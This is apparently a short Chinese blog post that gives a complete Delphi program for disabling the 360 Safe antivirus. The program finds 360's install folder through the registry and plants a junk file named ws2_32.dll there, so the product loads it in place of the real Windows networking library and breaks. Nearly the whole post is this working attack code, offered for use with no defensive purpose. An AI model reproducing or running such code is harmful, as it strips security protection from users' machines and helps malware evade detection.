ws2_32.dll屏蔽360(Delphi)

fuchou-angle

ws2_32.dll屏蔽360(Delphi)
　　ws2_32.dll屏蔽360 for delphi
　　program test360;
　　uses Windows;
　　function GetVersion: string;
　　var
　　s: Hkey;
　　iev:array[0..255] of char;
　　iiev:integer;
　　begin
　　RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe\', 0, KEY_ALL_ACCESS, s);
　　RegQueryvalueEx(s,'Path',nil,nil,@iev,@iiev);
　　RegCloseKey(s);
　　result:= string(iev);
　　end;
　　var
　　f:textfile;
　　begin
　　assignfile(f,PChar(GetVersion)+'\ws2_32.dll');
　　rewrite(f);
　　writeln(f,'360是笨蛋');
　　closefile(f);
　　end.